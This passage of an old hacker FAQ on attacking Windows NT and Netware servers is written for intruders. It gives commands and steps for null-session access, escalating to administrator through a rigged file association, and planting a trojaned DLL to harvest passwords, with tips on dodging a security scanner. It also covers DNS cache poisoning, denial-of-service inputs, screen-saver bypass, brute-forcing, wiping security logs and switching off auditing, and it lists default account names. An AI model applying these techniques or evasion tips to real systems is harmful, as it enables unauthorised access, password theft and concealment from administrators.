  +o  Try NET VIEW \\machinename to see the shares

  +o  Try DIR \\machinename\share to list shares if open

  +o  Try NET VIEW \\ipaddress or NET VIEW \\fully.qualified.name.com,
     which should get you the user names under NT 4.0.


  1111..33..  II hhaavvee gguueesstt rreemmoottee aacccceessss.. HHooww ccaann II ggeett aaddmmiinniissttrraattoorr aacccceessss??

  The easiest way is to run GetAdmin as mentioned above, but here is an
  older tricks for basic NT 3.51, which as some has some stuff
  read/writeable by default. You could edit the association between an
  application and the data file extension using regedt32. First off, you
  should write a Win32 app that does nothing but the following -


          net user administrator biteme /y
          notepad %1 %2 %3 %4 %5



  In a share you have read/write access to, upload it. Now change the
  association between .txt files and notepad to point to the location of
  the uploaded file, like \\ThisWorkstation\RWShare\badboy.exe.

  Now wait for the administrator to launch a text file by double
  clicking on it, and the password becomes "biteme".

  Of course, if the Sys Admin is smart they will have removed write
  permission from Everyone for HKEY_CLASSES_ROOT, only giving out full
  access to creator\owner.
  1111..44..  WWhhaatt aabboouutt %%ssyysstteemmrroooott%%tteemm3322 bbeeiinngg wwrriitteeaabbllee??

  Well, this can be exploited on NT 4.0 by placing a trojaned
  FPNWCLNT.DLL in that directory. This file typically exists in a mixed
  NT/Netware environment. First compile the exploit code written by
  Jeremy Allison ([e-mail]) and call the resulting file
  FPNWCLNT.DLL. A pointer to the exploit code is in the Resources
  section. Now wait for the user names and passwords to get written to a
  file in \temp.

  If you load this on a Primary Domain Controller, you'll get
  EVERYBODY'S password. You have to reboot the server after placing the
  trojan in %systemroot%\system32.

  ISS (www.iss.net) has a security scanner for NT which will detect the
  trojan DLL, so you may wish to consider adding in extra junk to the
  above code to make the size of the compiled DLL match what the
  original was, and using a CRC matcher program (several exist on the
  Internet) to make the CRC between the trojan and the real version
  match. This will prevent the current shipping version of ISS's NT
  scanner from picking up the trojan.

  It should be noted that by default the group Everyone has default
  permissions of "Change" in %systemroot\system32, so any DLL that is
  not in use by the system could be replaced with a trojan DLL that does
  something else.


  1111..55..  WWhhaatt iiff tthhee ppeerrmmiissssiioonnss aarree rreessttrriicctteedd oonn tthhee sseerrvveerr??

  By default the NT administrator account does not have a lockout
  feature like normal users accounts, to prevent a denial-of-service
  attack on the administrator account. Since failed logins are not
  logged by default, you could possibly gain administrator access by
  sheer brute force.

  If the Sys Admin runs passprop.exe they can turn on the lockout
  feature of Administrator.


  1111..66..  WWhhaatt eexxaaccttllyy ddooeess tthhee NNeettBBiiooss AAuuddiittiinngg TTooooll ddoo??

  Developed by Secure Networks Inc., it comes in pre-compiled Win32
  binary form as well as the complete source code. It is the "SATAN" of
  NetBios based systems.

  Here is a quote from Secure Networks Inc about the product -

  "The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS
  file-sharing services offered by the target system. It implements a
  stepwise approach to gather information and attempt to obtain file
  system-level access as though it were a legitimate local client.

  "The major steps are as follows:

  "A UDP status query is sent to the target, which usually elicits a
  reply containing the Netbios 'computer name'. This is needed to
  establish a session. The reply also can contain other information such
  as the workgroup and account names of the machine's users.  This part
  of the program needs root privilege to listen for replies on UDP port
  137, since the reply is usually sent back to UDP port 137 even if the
  original query came from some different port.

  "TCP connections are made to the target's Netbios port [139], and
  session requests using the derived computer name are sent across.
  Various guesses at the computer name are also used, in case the status
  query failed or returned incomplete information. If all such attempts
  to establish a session fail, the host is assumed invulnerable to
  NETBIOS attacks even if TCP port 139 was reachable.

  "Provided a connection is established Netbios 'protocol levels' are
  now negotiated across the new connection. This establishes various
  modes and capabilities the client and server can use with each other,
  such as password encryption and if the server uses user-level or
  share-level Security. The usable protocol level is deliberately
  limited to LANMAN version 2 in this case, since that protocol is
  somewhat simpler and uses a smaller password keyspace than NT.

  "If the server requires further session setup to establish
  credentials, various defaults are attempted. Completely blank
  usernames and passwords are often allowed to set up standard account
  names such as ADMINISTRATOR, and some of the names returned from the
  status query. Extensive username/password checking is NOT done at this
  point, since the aim is just to get the session established, but it
  should be noted that if this phase is reached at all MANY more guesses
  can be attempted and likely without the owner of the target being
  immediately aware of it.

  "Once the session is fully set up, transactions are performed to
  collect more information about the server including any file system
  'shares' it offers.

  "Attempts are then made to connect to all listed file system shares
  and some potentially unlisted ones. If the server requires passwords
  for the shares, defaults are attempted as described above for session
  setup. Any successful connections are then explored for writeability
  and some well-known file-naming problems [the ".." class of bugs].

  "If a NETBIOS session can be established at all via TCP port 139, the
  target is declared under the appropriate vulnerability at most of
  these steps, since any point along the way be blocked by the Security
  configurations of the target. Most Microsoft-OS based servers and Unix
  SAMBA will yield computer names and share lists, but not allow actual
  file-sharing connections without a valid username and/or password. A
  remote connection to a share is therefore a possibly serious Security
  problem, and a connection that allows WRITING to the share almost
  certainly so. Printer and other 'device' services offered by the
  server are currently ignored."

  If you need more info on NAT, try looking at this web location:

  http://www.secnet.com/ntinfo/ntaudit.html
  <http://www.secnet.com/ntinfo/ntaudit.html>


  1111..77..  WWhhaatt iiss tthhee ""RReedd BBuuttttoonn"" bbuugg??

  MWC has released an exploit that allows the following to occur -- the
  registry of a remote machine can be accessed, a list of users AND of
  shares can be obtained, even if the intruder hasn't logged in.

  There is a built in user called "anonymous" that is usually used for
  communication between machines. This exploit takes advantage of the
  fact that anonymous is a member of the group Everyone. Because of
  this, the following can be done:


  +o  Any share that can be accessed by Everyone is vulnerable.

  +o  System and application logs can be read.


  +o  Any NT machine with NetBios bound to the network can have its
     registry read or written to if Everyone has that access.

  +o  Using Lan Manager calls can give a list of all users, the
     Administrator (if renamed), and a list of all shares.

  Using this access a trojan could be loaded, since often the group
  Everyone has access to application software.

  It is possible that a Sys Admin could have unbound NetBios from the
  interface. This would disallow some access. Typically at a security
  aware site you would find the machines outside the firewall, like the
  Web server or FTP server configured this way (and all other access
  blocked by the firewall. However if you compromise the machine this
  could be a handy partial backdoor -- especially if you are using one
  machine as a "drop" during an attack.

  The bug can manually be done -- no exploit code needed. Try this from
  a 4.00 workstation:


      net use \\targetserver\ipc$ "" /user:""



  Now run User Manager, Event Viewer, Registry Editor, or simply use the
  net command to target the remote machine.

  The administrator account's SID always ends in -500 (Guest is -501) so
  find that and you have the administrator account, even if renamed. The
  built-in local groups (documented and undocumented) always have the
  same SID, so check out your own machine first and compare --
  especially if some of these have been renamed.

  If all the users are moved from the Everyone group, you not be able to
  exploit this. For you admins out there, ISS has released a tool to
  automate this "move users out of Everyone" process. And admins you
  should check and see what shares that Everyone can get to.

  MWC's web site is http://www.ntsecurity.com/
  <http://www.ntsecurity.com/>, and the exploit code can be found there.

  ISS's tool can be found at ftp://ftp.iss.net/everyone2users.exe
  <ftp://ftp.iss.net/everyone2users.exe>.


  1111..88..  WWhhaatt aabboouutt ffoorrggiinngg DDNNSS ppaacckkeettss ffoorr ssuubbvveerrssiivvee ppuurrppoosseess??

  Sure. ;-)

  By forging UDP packets, NT name server caches can be compromised. If
  recursion is allowed on the name server, you can do some nasty things.
  Recursion is when a server receives a name server lookup request for a
  zone or domain for which is does not serve. This is typical how most
  setups for DNS are done.

  So how do we do it? We will use the following example:

  We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org
  with an address of 10.10.10.2, and bait.nmrc.org with an address of
  10.10.10.3. Our mission? Make the users at lame.com access
  pirate.nmrc.org when they try to access www.lamer.net.

  Okay, assume automation is at work here to make the attack smoother...


  +o  DNS query is sent to ns.lame.com asking for address of
     bait.nmrc.org.

  +o  ns.lame.com asks ns.nmrc.org what the address is.

  +o  The request is sniffed, and the query ID number is obtained from
     the request packet.

  +o  DNS query is sent to ns.lame.com asking for the address of
     www.lamer.net.

  +o  Since we know the previous query ID number, chances are the next
     query ID number will be close to that number.

  +o  We send spoofed DNS replies with several different query ID
     numbers. These replies are spoofed to appear to come from
     ns.lamer.net, and state that its address is 10.10.10.2.

  +o  pirate.nmrc.org is set up to look like www.lamer.net, except maybe
     it has a notice to "go to the new password page and set up an
     account and ID". Odds are this new password is used by that
     lame.com user somewhere else...

  With a little creativity, you can also do other exciting things like
  reroute (and make copies of) email, denial of service (tell lame.com
  that www.lamer.net doesn't exist anymore), and other fun things.

  Supposedly SP 3 fixes this.


  1111..99..  WWhhaatt aabboouutt sshhaarreess??

  The main thing to realize about shares is that there are a few that
  are invisible.  Administrative shares are default accounts that cannot
  be removed. They have a $ at the end of their name. For example C$ is
  the administrative share for the C: partition, D$ is the
  administrative share for the D: partition. WINNT$ is the root
  directory of the system files.

  By default since logging is not enabled on failed attempts and the
  administrator doesn't get locked out from false attempts, you can try
  and try different passwords for the administrator account. You could
  also try a dictionary attack. Once in, you can get at basically
  anything.


  1111..1100..  HHooww ddoo II ggeett aarroouunndd aa ppaacckkeett ffiilltteerr--bbaasseedd ffiirreewwaallll??

  If the target NT box is behind a firewall that is doing packet
  filtering (which is not considered firewalling by many folks) and it
  does not have SP3 loaded it is possible to send it packets anyway.
  This involves sending decoy IP packet fragments with specially crafted
  headers that will be "reused" by the malicious IP packet fragments.
  This is due to a problem with the way NT's TCP/IP stack handles
  reassembling fragmented packets. As odd as this sounds, example code
  exists to prove it works. See the web page at
  http://www.dataprotect.com/ntfrag <http://www.dataprotect.com/ntfrag>
  for details.

  How does it bypass the packet filter? Typically packet filtering only
  drops the fragmented packet with the offset of zero in the header. The
  example source forges the headers to get around this, and NT happily
  reassembles what does arrive.



  1111..1111..  II hhaacckk ffrroomm mmyy LLiinnuuxx bbooxx.. HHooww ccaann II ddoo aallll tthhaatt GGUUII ssttuuffff oonn
  rreemmoottee NNTT sseerrvveerrss??

  Try and get familiar with the net use and net user commands before
  attacking.

  The main problem is adjusting NT file security attributes. Some
  utilities are available with NT that can be used, but I'd recommend
  using the NT Command Line Security Utilities.  They include:


    saveacl.exe - saves file, directory and ownership permissions to a file
    restacl.exe - restores file permissions and ownership from a saveacl file
    listacl.exe - lists file permissions in human readable format
    swapacl.exe - swaps permissions from one user or group to another
    igrant.exe - grants permisssions to users/groups on directories
    irevoke.exe - revokes permissions to users/groups on directories
    setowner.exe - sets the ownership of files and directories
    audit.exe - add and remove audit triggers to files and directories
    regilstacl.exe - print registry subkey security to the screen
    reggrant.exe - grant access to users and groups on registry subkeys
    regrevoke.exe - revoke access from users and groups on subkeys
    regsetowner.exe - change registry subkey ownership
    regswapacl.exe - swaps permissions from one user group to another
    regaudit.exe - add and delete audit triggers on keys
    sharelistacl.exe - list permissions on a local or remote share
    sharegrant.exe - grant permissions to a local or remote share
    sharerevoke.exe - revoke permissions from a local or remote share
    ntuser.exe - manipulate account and group properties
    nu.exe - 'net use' replacement. shows connected drives.



  Listacl and reglistacl also display the current auditing state of
  files, directories, and regisrty keys.

  Each of the programs contains a built-in help screen. Just run any of
  the programs with a "-h" argument and the help screen will be
  displayed. Most utlilities support a "-r" option for recursive options
  throughout the program.

  The collection is $45 (USD), it is shareware, but well worth the
  price. Even if the set only included the ntuser.exe utility, it would
  still be worth the money.

  Check out ftp://ftp.pedestalsoftware.com/pub/pedestal
  <ftp://ftp.pedestalsoftware.com/pub/pedestal> to download the
  collection.



  1122..  NNTT DDeenniiaall ooff SSeerrvviiccee

  This section deals with ``Denial of Service'' attacks that are
  specific to NT.


  1122..11..  WWhhaatt ccaann tteellnneett ggiivvee mmee iinn tthhee wwaayy ooff ddeenniiaall ooff sseerrvviiccee??

  There are several DoS attacks involving a simple telnet client that
  can be used against an NT server.

  First, by telnetting to port 53, 135, or 1031, and then typing in
  about 10 or so characters and hitting enter will cause problems. If
  DNS (port 53) is running, DNS will stop. If 135 answers, the CPU
  utilization will increase to 100%, slowing performance.  And if port
  1031 is hit, IIS will get knocked down. Typically the fix is to reboot
  the server, as it will be hung or so slow as to render it useless.

  Telnetting to port 80 and typing "GET ../.." will also crash IIS.

  If the latest service pack is loaded the attack will not work.


  1122..22..  WWhhaatt ccaann II ddoo wwiitthh SSaammbbaa??

  Don't get me started ;-)

  As far as DoS, if you connect to a server with Samba to 3.X NT that
  does not have the latest service pack loaded, you can send it "DIR
  ..\" and crash it.


  1122..33..  WWhhaatt''ss wwiitthh RROOLLLLBBAACCKK..EEXXEE??

  If the file ROLLBACK.EXE is executed, the registry can be wiped. You
  must re-install or do a complete restore if this happens to you. Sys
  Admins will probably want to remove this file. Renamed, it makes for
  one hell of a nasty trojan.

  It is reportedly possible to lock onto a port, say like port 19, and
  when the server crashes and comes up ROLLBACK.EXE will start trying to
  unlock the port and subsequently opens up the registry for anyone to
  wipe it. I was unsuccessful in getting this to happen in the lab, but
  probably because I find DoS attacks rather lame I didn't try very hard
  to get it to work. But others claim it can happen, so keep it in mind.


  1122..44..  WWhhaatt iiss aann OOOOBB aattttaacckk??

  This attack is fairly simple, and a fair amount of source code is
  available. Basically it involves sending an out-of-band message to a
  Windows operating system. Typically port 139 is used. This was patched
  with SP3 and a Hot Fix but apparently with a little monkeying around
  with the code you can get around this.

  This DoS is very popular, mainly because of the wide variety of
  implementations of sockets. I've seen Unix and Windows NT versions of
  code, an implementation in Perl, and even an implementation using the
  Rexx Socket APIs on OS/2.

  If you are so inclined, try a web search for "winnuke" which will get
  you probably a thousand locations with the code.


  1122..55..  AArree tthheerree aannyy ootthheerr DDeenniiaall ooff SSeerrvviiccee aattttaacckkss??

  If a domain user logs onto the console, creates a file and removes its
  permissions, it is possible that another user can log onto the console
  and delete the file. The problem affects all versions of NT. However,
  this isn't what I'd consider "Denial of Service" as it is more like
  denial of a file. Depending on the file, though, it could be used as
  DoS.

  If you are running smbmount with version 2.0.25 of Linux, you can
  crash an NT server.  smbmount is intended to be run on Linux 2.0.28 or
  higher, so it doesn't work right on 2.0.25. You also need a legit user
  account. Running as root, type smbmount //target/service /mnt -U
  client_name, followed by ls /mnt will hang the shell on Linux (no
  biggie) and blue screen the target server (biggie).


  The final DoS I'm aware of involves Microsoft's DNS on NT 4.0 server.
  If you send it a DNS response when it did not make a query, DNS will
  crash.

  The latest service packs and post service pack patches fix all of
  these problems.



  1133..  NNTT LLooggggiinngg aanndd BBaacckkddoooorrss

  This section contains info regarding logging and backdoors for NT.


  1133..11..  WWhheerree aarree tthhee ccoommmmoonn lloogg ffiilleess iinn NNTT??

  These are located in %root%\SYSTEM32\CONFIG. They are:


  +o  AppEvent.Evt - Records events involving the running of certain
     applications.

  +o  SecEvent.Evt - Records security events.

  +o  SysEvent.Evt - Records basic events.

  As a hacker do not worry about the AppEvent.Evt file much -- you are
  mainly concerned with items in the regular event log (the SysEvent.Evt
  file) and the security log (the SecEvent.Evt). By default regular
  users should be able to read the regular event log, and you may wish
  to look that over if you can to see if your "visit" left a trace. If
  it did and the entries look out of place, consider adding entries from
  other users that are similiar by accessing the system as these other
  users.

  You have to have Administrative Group rights to view the security
  event log.  And you'll certainly want to check that to see what is in
  it.


  1133..22..  HHooww ddoo II eeddiitt//cchhaannggee NNTT lloogg ffiilleess wwiitthhoouutt bbeeiinngg ddeetteecctteedd??

  Well this can be a little tricky as these files are locked in place
  during NT's operation. You have a couple of choices at this time --
  wipe the logs or try to add stuff to them to add camoflage
  obfuscation. Not elegant, but better than nothing.


  1133..33..  SSoo hhooww ccaann II vviieeww//cclleeaarr//eeddiitt tthhee SSeeccuurriittyy LLoogg??

  You have to be in as an Administrator or as someone in the
  Administrator's group.

  Start the Event Viewer, and from the Log menu select Security. You
  view individual items by double clicking on them. To clear them (which
  is an all or nothing proposition) select Clear All Events from Log. If
  asked to save the info, answer no.

  There is currently no way to edit the contents of the Security Event
  Log, although it is not impossible. One could conceivably boot up the
  system with Linx on a floppy, copy the logs off for editing in a hex
  editor, and copy doctored logs back up. I've considered writing the
  software to do this, although I probably never will.



  1133..44..  HHooww ccaann II ttuurrnn ooffff aauuddiittiinngg iinn NNTT??

  This requires Administrator access. From the User Manager go to the
  Policies menu and select Audit. Turn off the things you wish to turn
  off.

  As far as individual files and directories, you have to right-click on
  the file or directory from within Explorer, go to Properties and go to
  the security tab. Click on the auditing button for details, and turn
  off what you need turned off.

  If you need to do this from a command line, check out the question "I
  hack from my Linux box. How can I do all that GUI stuff on remote NT
  servers?" in the NT Client Attacks section.



  1144..  NNTT MMiisscc.. AAttttaacckk IInnffoo

  This section has miscellaneous information regarding hacking and NT.


  1144..11..  HHooww iiss ffiillee aanndd ddiirreeccttoorryy sseeccuurriittyy eennffoorrcceedd??

  Since files and directories are considered objects (same as services),
  the security is managed at an "object" level.

  An access-control list (ACL) contains information that controls access
  to an object or controls auditing of attempts to access an object. It
  begins with a header contains information pertaining to the entire
  ACL, including the revision level, the size of the ACL, and the number
  of access-control entries (ACEs) in the list.

  After the header is a list of ACEs. Each ACE specifies a trustee, a
  set of access rights, and flags that dictate whether the access rights
  are allowed, denied, or audited for the trustee. A trustee can be a
  user account, group account, or a logon account for a service program.

  A security descriptor can contain two types of ACLs: a discretionary
  ACL (DACL) and a system ACL (SACL).

  In a DACL, each ACE specifies the types of access that are allowed or
  denied for a specified trustee. An object's owner controls the
  information in the object's DACL.  For example, the owner of a file
  can use a DACL to control which users can have access to the file, and
  which users are denied access.

  If the security descriptor for an object does not have a DACL, the
  object is not protected and the system allows all attempts to access
  the object. However, if an object has a DACL that contains no ACEs,
  the DACL does not grant any access rights. In this case, the system
  denies all attempts to access the object.

  In a SACL, each ACE specifies the types of access attempts by a
  specified trustee that cause the system to generate audit records in
  the system event log. A system administrator controls the information
  in the object's SACL. An ACE in a SACL can generate audit records when
  an access attempt fails, when it succeeds, or both.

  To keep track of the individual object, a Security Identifier (SID)
  uniquely identify a user or a group.

  A SID contains:



  +o  User and group security descriptors

  +o  48-bit ID authority

  +o  Revision level

  +o  Variable subauthority values

  A privilege is used to control access to a service or object more
  strictly than is normal with discretionary access control. Privileges
  provide access to services rarely needed by most users. For example,
  one type of privilege might give access for backups and restorals,
  another might allow the system time to be changed.


  1144..22..  WWhhaatt iiss NNTTFFSS??

  NTFS is the Windows NT special file system. This file system is
  tightly integrated into Windows security -- it is what allows access
  levels to be set from the directory down to individual files within a
  directory.


  1144..33..  AArree tthheerree aarree vvuullnneerraabbiilliittiieess ttoo NNTTFFSS aanndd aacccceessss ccoonnttrroollss??

  Not so much vulnerabilities as there are quirks -- quirks that can be
  exploited to a certain degree.

  For example, let's say the system admin has built a home directory for
  you on the server, but has disallowed the construction of directories
  or files that you wish to make available to the group Everyone. You
  are wanting to make this special directory so that you can easily
  retrieve some hack tools but you are cut off. However, if the sys
  admin left you as the owner of the home directory, you can go in and
  alter its permissions. This is because as long as you are the owner or
  Administrator you still control the file. Oh sure, you may get a few
  complaints from the system when you are doing it, but it can be done.

  Since NTFS has security integrated into it, there are not too many
  ways around it. The main one requires access to the physical system.
  Boot up the system on a DOS diskette, and use NTFSDOS.EXE. It will
  allow you to access an NTFS volume bypassing security.

  The last quirk is that if you have a directory with Full Control
  instead of RWXDPO permissions, then you get a hidden permission called
  File Delete Child. FDC cannot be removed. This means that all members
  of the group Everyone can delete any read-only file in the directory.
  Depending on what the directory contains, a hacker can replace a file
  with a trojan.


  1144..44..  WWhhaatt iiss SSaammbbaa aanndd wwhhyy iiss iitt iimmppoorrttaanntt??

  Samba is a freeware app developed by Andy Tridgell. It is a great tool
  for helping integrate Unix into Microsoft Windows and Lan Manager
  environments. The main idea is that you can, with Samba, allow a Unix
  machine to access file and directories. The other handy thing about
  Samba is that like most Unix freeware you get the source code.

  Most hackers seem to have Linux up and running, so loading up Samba
  allows you several tactical advantages. A number of the exploits
  described here require access to a privileged port (< 1024). If you
  are root on your own Linux box, you can start exploits from those
  needed ports. A lot of the tests in the NMRC lab were conducted using
  Samba.  In fact when World Star Holdings Ltd in Canada had their lame
  Cybertest '96 contest on June 12th, yours truly used Samba to break in
  (but I wasn't first).

  Samba talks SMB and can directly access Windows NT hardware, and
  Hobbit ([e-mail]) has put together a very interesting paper
  entitled "CIFS: Common Insecurities Fail Scrutiny". It is highly
  recommended reading for admins and hackers alike. Included in the
  paper are details and source patches to allow easier attacking on NT.

  Studying the source code of Samba taught me a lot, but Hobbit's paper
  puts everything in a whole new light. It provides some well documented
  basics on how a lot of the communications work, detailing exactly WHY
  certain protocols and behaviours are vulnerable to abuse.

  Get Samba and read its documentation. Read Hobbit's paper and apply
  the patches. Period.


  1144..55..  HHooww ddoo II bbyyppaassss tthhee ssccrreeeenn ssaavveerr??

  If a user has locked their local workstation using CTRL+ALT+DEL, and
  you can log in as an administrator, you will have a window of a few
  seconds where you will see the user's desktop, and even manipulate
  things. This trick works on NT 3.5 and 3.51, unless the latest service
  pack has been loaded.

  If the service pack has been loaded, but it's still 3.X, try the
  following.


  +o  From another NT workstation, type shutdown \\ /t:30

  +o  This will start a 30 second shutdown on the target and a Security
     window will pop up.

  +o  Cancel the shutdown with shutdown \\ /a

  +o  The screen saver will kick back in.

  +o  Wiggle the mouse on the target. The screen will go blank.

  +o  Now do a ctrl-alt-del on the target.

  +o  An NT Security window will appear. Select cancel.

  +o  You are now at the Program Manager.


  1144..66..  HHooww ccaann II ddeetteecctt tthhaatt aa mmaacchhiinnee iiss iinn ffaacctt NNTT oonn tthhee nneettwwoorrkk??

  Hopefully it is a web server, and they've simply stated proudly "we're
  running NT", but don't expect that...

  Port scanning will find some. Typically you'll see port 135 open. This
  is no guarantee it's not Windows 95, however. Using Samba you should
  be able to connect and query for the existence of
  HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT and then check
  \CurrentVersion\CurrentVersion to determine the version running. If
  guest is enabled, try this first as Everyone has read permissions here
  by default.

  Port 137 is used for running NetBios over IP, and since in the Windows
  world NetBios is used, certainly you can expect port 137 to be open if
  IP is anywhere in use around NT.

  Another possible indication is checking for port 139. This tells you
  your target is advertising an SMB resource to share info, but it could
  be any number of things, such as a Windows 95 machine or even Windows
  for Workgroups. These may not be entirely out of the question as
  potential targets, but if you are after NT you will have to use a
  combination of the aforementioned techniques coupled with some common
  sense.

  To simplify this entire process, Secure Networks Inc. has a freeware
  utility called NetBios Auditing Tool. This tool's intent is to test
  NetBios file sharing configurations and passwords on remote systems.
  It is discussed more in detail in the ``NT Client Attack'' section.


  1144..77..  CCaann II ddoo oonn--tthhee--ffllyy ddiisskk eennccrryyppttiioonn oonn NNTT??

  Try Shade. It allows you to create an encrypted disk device inside a
  file. This "device" can then be formatted using either NTFS or FAT and
  used as a regular disk. Shade encrypts on every write operation and
  decrypts on every read operation to this new device.

  Look for Shade at: http://softwinter.bitbucket.co.il/shade.html
  <http://softwinter.bitbucket.co.il/shade.html>


  1144..88..  DDooeess tthhee FFTTPP sseerrvviiccee aallllooww ppaassssiivvee ccoonnnneeccttiioonnss??

  I was playing around in the registry, looking for odd things, and
  found this strange entry under
  System\CurrentControlSet\Services\MSFTPSVC\Parameters:


      EnablePortAttack: REG_DWORD:



  If set to 1, you can do passive connections depending on the TCP port
  you use. A passive connection is where you can connect to FTP site
  alice.com, and from there connect to site bob.com. It is used by
  hackers because any odd connections at bob.com will appear in logs as
  coming from alice.com. Most typical is a port scan.

  A port scanner for doing this from a Unix box can be found at
  http://www.nmrc.org/files/unix/ftp-scan.c
  <http://www.nmrc.org/files/unix/ftp-scan.c>


  1144..99..  WWhhaatt iiss tthhiiss ""ppoorrtt ssccaannnniinngg"" yyoouu aarree ttaallkkiinngg aabboouutt??

  Port scanning is a technique to check TCP/IP ports to see what
  services are available.  For example port 80 is typically a web
  server, port 25 is SMTP used by Internet mail and so on. By scanning
  and seeing what TCP/IP ports are listening at the end of a TCP/IP
  address, you can get an idea as to what type of box the target might
  be, what services are available, and possibly plan an attack if you
  are aware of an exploit involving a particular service.

  If port 135, 137, 138, and 139 are open on the target of a scan, it is
  quite possible that the target is NT (although it could be Win95 or
  even WFW 3.11, see the questions and answers above).


  1144..1100..  DDooeess NNTT hhaavvee bbuuggss lliikkee UUnniixx'' sseennddmmaaiill??

  If the server is running a POP3 server like Exchange, you can use a
  brute force technique to guess passwords. Odds are that the sys admin
  is not logging or looking at logs for this stuff. In particular, if
  you are dealing with a sys admin that isn't used to the wild and wooly
  Unix world, it may not even occur to the admin to look. This is
  something that NT folks are just now having to face, whereas their
  Unix admin counterparts have had to maintain this level of scrutiny
  for a while.


  1144..1111..  HHooww iiss ppaasssswwoorrdd cchhaannggiinngg rreellaatteedd ttoo ""llaasstt llooggiinn ttiimmee""??

  Let's say an admin is checking the last time certain users have logged
  in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time
  it will NOT be.

  Most users do not login directly to the Primary Domain Controller
  (PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT
  contain readonly versions of SAM, they contain read-write versions. To
  keep the already ungodly amount of network traffic down, BDCs do not
  tell the PDC that they have an update of the last login time until a
  password change has been done. And the NET USER /DOMAIN command checks
  the PDC, so last login time returned from this command could be wildly
  off (it could even show NEVER).

  As a hacker, if you happen to know that password aging is not
  enforced, then you can bet that last login times will probably not be
  very accurate


  1144..1122..  CCaann sseessssiioonnss bbee hhiijjaacckkeedd??

  In theory, however no one has yet coded the exploit. It would involve
  a complex spoofing job where not only would the session have to be
  hijacked at the transport level (getting all of the ACK/NACK numbering
  correct), but the tree ID (TID) and user ID (UID) would have to be
  spoofed at the redirector and server level respectively. We are
  talking SMB at this point.

  A more likely session to be hijacked would be a telnet session to an
  NT server, but this applies to any straight telnet session, NT or not,
  and is beyond the scope of this question. For more information refer
  to http://www.nmrc.org/files/unix/ip-exploit.txt..


  1144..1133..  AArree ""mmaann iinn tthhee mmiiddddllee"" aattttaacckkss ppoossssiibbllee??

  Ealry versions of LANMAN send the password in the clear -- which is
  definately sniffer-bait. But the challenge/response authentication
  used by LANMAN 2.1 and earlier is subject to possible attack -- namely
  a plaintext attack. Since the challenge is plaintext, an attacker can
  acquire known plaintext/ciphertext pairs. Offline, the attacker can
  then test a guess at a password by using it to generate a key,
  encrypting the plaintext, and comparing it to the corresponding
  ciphertext. If it matches, the password is compromised.

  Since case doesn't matter, a brute force attack is theoretically
  possible against plaintext/ciphertext pair obtained via a known
  plaintext attack.

  However, this is simply offline attacking. A true man-in-the-middle
  attack allows a third party to intercept and replace components of the
  challenge/response conversation with their own, acquiring the password
  or even taking over the session itself. However, the easier of the two
  is getting the password.

  By catching the start of a conversation and forging the challenge, the
  client would response with the response to the server, and the
  attacker would know a part of the equation, shortening the time and
  effort needed to break the plaintext/ciphertext pair.
  By "precompiling" a list of response/password pairs, the password
  could be determined even quicker.

  NT LM 0.12 uses MD4 to generate keying material, and since upper and
  lower case are allowed, the full 56 bits allowed by DES can be used.
  This does not eliminate the problem -- it simply increases the
  difficulty of brute force against a plaintext/ciphertext pair.

  However this does nothing towards a realtime attack. The best method
  would be as follows:


  +o  Client starts a session.

  +o  Attacker sees this session, and waits for the response from the
     server.

  +o  Server sends the response and the Attacker grabs it.

  +o  Attacker removes the SMB_COM_NEGPROT bit and sends it to the
     Client.

  +o  Client receives the Attacker's packet, and now assumes a plaintext
     password should be used.

  +o  Client receives the real packet from the server, but ignores it
     thinking it is a dupe.

  +o  Client sends the password in plaintext.

  +o  Attacker grabs the password and now logs into the Server directly.

  +o  Client times out or gets an error, and figures a network error has
     occurred. Client tries to log in again.

  It is also possible in theory to catch the session before the
  authentication process even starts. For example:


  +o  Client starts a session, and sends a request to the DNS server to
     resolve a host name.

  +o  Attacker sees this request, and forges a reply that the Attacker's
     IP address is the address for the host the Client is requesting.

  +o  Attacker sends request to DNS server cancelling Client's request.

  +o  Client starts to log into Attacker.

  +o  Attacker tells Client to send the password as plaintext.

  +o  Client complies, and Attacker proceeds to login to original host
     that the Client was asking the DNS server about.

  +o  Attacker kills the session with the Client, and the Client thinks
     an error has occurred, and tries again.

  This attack has been partially implemented with the c2myazz file,
  which forces a plaintext login.


  1144..1144..  WWhhaatt aabboouutt TTCCPP SSeeqquueennccee NNuummbbeerr PPrreeddiiccttiioonn??

  This is possible, but unlikely, on anything requiring the TID and UID
  as a part of the spoof. TCP Sequence Number Prediction involves
  guessing what the TCP numbering sequence is, and inserting packets to
  (typically) execute commands on the target host with the proper
  sequence number.


  1144..1155..  WWhhaatt''ss tthhee ssttoorryy wwiitthh bbuuffffeerr oovveerrfflloowwss oonn NNTT??

  Dildog has written the definative paper on the subject. Check out "The
  Tao of Windows Buffer Overflow" at http://www.cultdeadcow.com/cDc-351/
  <http://www.cultdeadcow.com/cDc-351/> for a complete picture of buffer
  overflows, how they work, and how to code your own exploits for
  Microsoft operating systems.



  1155..  NNeettwwaarree BBaassiiccss

  The following section covers the basics regarding Netware security.


  1155..11..






  1166..  NNeettwwaarree AAccccoouunnttss

  The following section deals with Accounts on Netware systems.


  1166..11..  WWhhaatt aarree ccoommmmoonn aaccccoouunnttss aanndd ppaasssswwoorrddss ffoorr NNeettwwaarree??

  Out of the box Novell Netware has the following default accounts -
  SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as
  well. All of these have no password to start with. Virtually every
  installer quickly gives SUPERVISOR and ADMIN a password. However, many
  locations will create special purpose accounts that have easy-to-guess
  names, some with no passwords. Here are a few and their typical
  purposes:


























          Account         Purpose
          ----------      ------------------------------------------------------
          PRINT           Attaching to a second server for printing
          LASER           Attaching to a second server for printing
          HPLASER         Attaching to a second server for printing
          PRINTER         Attaching to a second server for printing
          LASERWRITER     Attaching to a second server for printing
          POST            Attaching to a second server for email
          MAIL            Attaching to a second server for email
          GATEWAY         Attaching a gateway machine to the server
          GATE            Attaching a gateway machine to the server
          ROUTER          Attaching an email router to the server
          BACKUP          May have password/station restrictions (see below), used
                          for backing up the server to a tape unit attached to a
                          workstation. For complete backups, Supervisor equivalence
                          is required.
          WANGTEK         See BACKUP
          FAX             Attaching a dedicated fax modem unit to the network
          FAXUSER         Attaching a dedicated fax modem unit to the network
          FAXWORKS        Attaching a dedicated fax modem unit to the network
          TEST            A test user account for temp use
          ARCHIVIST       Palidrome default account for backup
